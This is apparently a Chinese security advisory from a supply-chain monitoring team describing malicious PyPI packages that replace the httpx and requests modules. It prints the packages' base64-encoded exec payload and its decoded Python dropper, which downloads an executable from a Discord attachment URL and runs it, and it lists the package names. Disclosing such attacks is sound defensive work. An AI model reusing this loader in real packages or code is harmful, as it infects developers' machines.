【天问】PyPI “特洛伊木马”

2024年2月伊始,天问Python供应链威胁监测模块发现攻击者开始利用Python包名和模块名不一致的特性,在Python包中添加常见的模块,如requests。新添加的模块会替换原有同名模块,导致用户使用时导入含有恶意代码的模块而被攻击。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. “特洛伊木马”恶意包

2024年2月3号,天问Python供应链威胁监测模块发现了3个可疑的软件包,updat-httpx,crealtest,requests-upgrade。他们包含了常见的模块httpx,requests,但在这些模块代码中却偷偷运行了一段Base64代码。

updat-httpx/httpx/__init__.py

...
import base64; import requests; import subprocess; import threading; import os; exec(base64.b64decode(b'aW1wb3J0IHJlcXVlc3RzDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRocmVhZGluZw0KaW1wb3J0IG9zDQoNCnBhdGggPSBvcy5lbnZpcm9uWyJVU0VSUFJPRklMRSJdICsgIlxBcHBEYXRhXExvY2FsXGV4cGxvcmVyLmV4ZSINCg0KZGVmIHByb2Nlc3MoKSAtPiBOb25lOg0KICAgIGlmIG9zLnBhdGguZXhpc3RzKHBhdGgpOg0KICAgICAgICBzdWJwcm9jZXNzLnJ1bihwYXRoLCBzaGVsbD1UcnVlKQ0KDQpkZWYgZG93bmxvYWQoKSAtPiBOb25lOg0KICAgIHJlc3BvbnNlID0gcmVxdWVzdHMuZ2V0KCJodHRwczovL2Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50cy8xMjAyNjM4MzMwMDg5NTc4NTE2LzEyMDMzMzU3MzE0NjkwOTQ5NTMvbWFpbi5leGU/ZXg9NjVkMGI4YmImaXM9NjViZTQzYmImaG09YmU4NWQ3NzgzNjI4OTcyNzUyNDY0ZTg5NmY0ZjVmZDE2YzA5ZjUxNTE1MjQ4MzFmN2NjODcwZWNiOTU2ZmQ5MyYiKQ0KDQogICAgaWYgcmVzcG9uc2Uuc3RhdHVzX2NvZGUgIT0gMjAwOg0KICAgICAgICBleGl0KCkNCg0KICAgIHdpdGggb3BlbihwYXRoLCAnd2InKSBhcyBmaWxlOg0KICAgICAgICBmaWxlLndyaXRlKHJlc3BvbnNlLmNvbnRlbnQpDQoNCmRlZiBleGVjdXRlKCkgLT4gTm9uZToNCiAgICB0aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1wcm9jZXNzKQ0KICAgIHRocmVhZC5zdGFydCgpDQoNCmRvd25sb2FkKCk7IGV4ZWN1dGUoKQ0KDQo='))

这段Base64解码之后是一段Python代码

import requests
import subprocess
import threading
import os

path = os.environ["USERPROFILE"] + "\AppData\Local\explorer.exe"

def process() -> None:
    if os.path.exists(path):
        subprocess.run(path, shell=True)

def download() -> None:
    response = requests.get("https[:]//cdn.discordapp.com/attachments/1203419981803421739/1203459981773512755/Built.exe?ex=65d12c72&is=65beb772&hm=2258382ca3d7d13a831a9af35e6f72c1489e5b55c69195a9258905b23c476d6f&")

    if response.status_code != 200:
        exit()

    with open(path, 'wb') as file:
        file.write(response.content)

def execute() -> None:
    thread = threading.Thread(target=process)
    thread.start()

download(); execute()

分析这段代码可知,攻击者从discordapp.com中下载了一个Built.exe的附件,并命名为explorer.exe。然后启动新线程执行这个exe。

我们利用天穹沙箱对这个exe文件做了分析,结果如下所示。

2. 模块替换攻击

Python包有一个特性,一个包可以包含多个的模块。PyPI不允许不同的作者发布相同名字的软件包,但允许不同的软件包包含相同的模块名。而当用户从PyPI中下载安装完软件包后,其中的模块会被统一解压放置在site-packages下,新下载的同名模块会替换之前的模块。这就导致了一种新的攻击,模块替代攻击。

如上图所示,用户目前在本地拥有正常的httpx模块,而攻击者向PyPI发布了一个包含恶意httpx的包updat-httpx

当用户下载了updat-httpx这个恶意包时,其中的恶意模块httpx就会替换掉原有的正常httpx。当用户使用import httpx使用这个模块时,就会导致攻击代码的执行。

如下,我们对比了恶意包和正常包之间的模块文件,两者几乎一致。唯一的区别在于恶意updat-httpx__init__.py文件末尾添加了上文提到的恶意代码。

这种攻击隐蔽性高,而且可以有很长的潜伏期。对于Python特性不太熟悉的用户甚至无法察觉自己被攻击了。

我们第一时间向PyPI官方报告了相关事件,同时我们也会继续关注此类攻击事件的发展。为了自己的安全,用户尽量不要下载未知的软件包,防止受相关攻击事件的影响。

3. 恶意包列表

包名版本作者上传时间
updat-httpx0.0.1crzydevvvvvv2024-02-03T13:47:47
crealtest0.0.1BigBoyDevelopr2024-02-03T20:37:04
requests-upgrade0.0.1BigBoyDevelopr2024-02-03T22:01:56
requests-latest0.0.1topcrzybn2024-02-05T16:56:28
latest-version0.0.1topcrzybn2024-02-05T16:59:40

4. 天问软件供应链分析平台

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。我们使用动静态结合的方式对于开源生态软件包进行了全方位的监测分析,同时结合天穹沙箱强大的分析能力,“天问”分析平台可以第一时间检测到当前已知攻击及可疑行为。我们也会以技术报告等形式及时更新相关风险,帮助用户规避潜在的风险,努力提升开源生态环境的安全性。